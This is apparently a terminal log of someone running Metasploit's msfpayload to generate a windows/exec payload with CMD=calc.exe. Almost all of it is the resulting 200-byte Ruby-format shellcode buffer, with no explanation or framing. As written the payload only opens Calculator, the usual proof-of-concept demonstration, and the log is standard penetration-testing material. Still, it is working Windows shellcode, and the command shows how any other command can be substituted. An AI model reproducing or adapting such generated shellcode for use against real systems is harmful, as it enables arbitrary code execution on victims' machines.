msf generate exec payload

daniel@daniel-mint ~/msf/metasploit-framework $ ruby msfpayload windows/exec CMD=calc.exe N
WARNING: Nokogiri was built against LibXML version 2.8.0, but has dynamically loaded 2.9.1
# windows/exec - 200 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
buf =  ""
buf += "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
buf += "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
buf += "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"
buf += "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"
buf += "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"
buf += "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"
buf += "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"
buf += "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
buf += "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
buf += "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"
buf += "\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"
buf += "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"
buf += "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
buf += "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
buf += "\x2e\x65\x78\x65\x00"